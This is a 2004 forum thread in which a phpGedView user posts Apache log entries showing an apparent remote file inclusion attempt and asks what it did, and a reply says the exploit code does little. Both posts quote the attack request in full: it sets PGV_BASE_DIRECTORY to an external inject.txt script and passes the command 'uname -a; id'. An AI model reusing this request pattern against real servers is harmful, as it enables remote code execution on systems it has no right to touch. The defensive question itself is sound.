hack attempt?

Collapse
This topic is closed.
X
X
Collapse
 
  • Page of 1
  • Time
  • Show
Clear All
new posts
Previous template Next
  • Billy & Beth Adams
    #1

    hack attempt?

    Hi All,

    This was in my apache logfile today. Does anyone know what they tried
    to do?

    ip110-204.cbn.net.id - - [07/Jan/2004:13:41:01 -0500] "GET
    /phpGedView/index.php??PGV_ BASE_DIRECTORY= http://www.geocities.c om/kamar_n0ldy/badboy/inject.txt?&cmd =uname%20-a%20;%20id
    HTTP/1.1" 200 52723 "-" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X;
    en-us) AppleWebKit/85 (KHTML, like Gecko) Safari/85"
    ip110-204.cbn.net.id - - [07/Jan/2004:13:41:26 -0500] "GET
    /phpGedView/images/favicon.ico HTTP/1.1" 200 894 "-" "Mozilla/5.0
    (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85 (KHTML, like Gecko)
    Safari/85"

    This is the only thing I could find regarding it on a google groups
    search & it was only posted yesterday.
    http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&oe=UTF-8&th=d459f63c89b02f41&rnum=1


    I know most of you aren't familiar with phpgedview, but maybe you can
    decipher what the code is doing at the geocities link in the logfile.
    I only know enough about php to install it for using with phpgedview.

    Thanks for any info you might provide,
    bja

    Tags: None
    • Chung Leong
      #2
      Re: hack attempt?

      Nothing was done. The "exploit code" doesn't do much.

      Uzytkownik "Billy & Beth Adams" <erie_dearie@ho tmail.NOSPAM.co m> napisal w
      wiadomosci news:c4jpvvcq01 kbf5miusfa0hrhr ndvsvr9m8@4ax.c om...[color=blue]
      > Hi All,
      >
      > This was in my apache logfile today. Does anyone know what they tried
      > to do?
      >
      > ip110-204.cbn.net.id - - [07/Jan/2004:13:41:01 -0500] "GET
      >[/color]
      /phpGedView/index.php??PGV_ BASE_DIRECTORY= http://www.geocities.c om/kamar_n0l
      dy/badboy/inject.txt?&cmd =uname%20-a%20;%20id[color=blue]
      > HTTP/1.1" 200 52723 "-" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X;
      > en-us) AppleWebKit/85 (KHTML, like Gecko) Safari/85"
      > ip110-204.cbn.net.id - - [07/Jan/2004:13:41:26 -0500] "GET
      > /phpGedView/images/favicon.ico HTTP/1.1" 200 894 "-" "Mozilla/5.0
      > (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85 (KHTML, like Gecko)
      > Safari/85"
      >
      > This is the only thing I could find regarding it on a google groups
      > search & it was only posted yesterday.
      >[/color]
      http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&oe=UTF-8&th=d459f63c89b02

      f41&rnum=1[color=blue]
      >
      > I know most of you aren't familiar with phpgedview, but maybe you can
      > decipher what the code is doing at the geocities link in the logfile.
      > I only know enough about php to install it for using with phpgedview.
      >
      > Thanks for any info you might provide,
      > bja
      >[/color]


        Comment

        Previous template Next
        Working...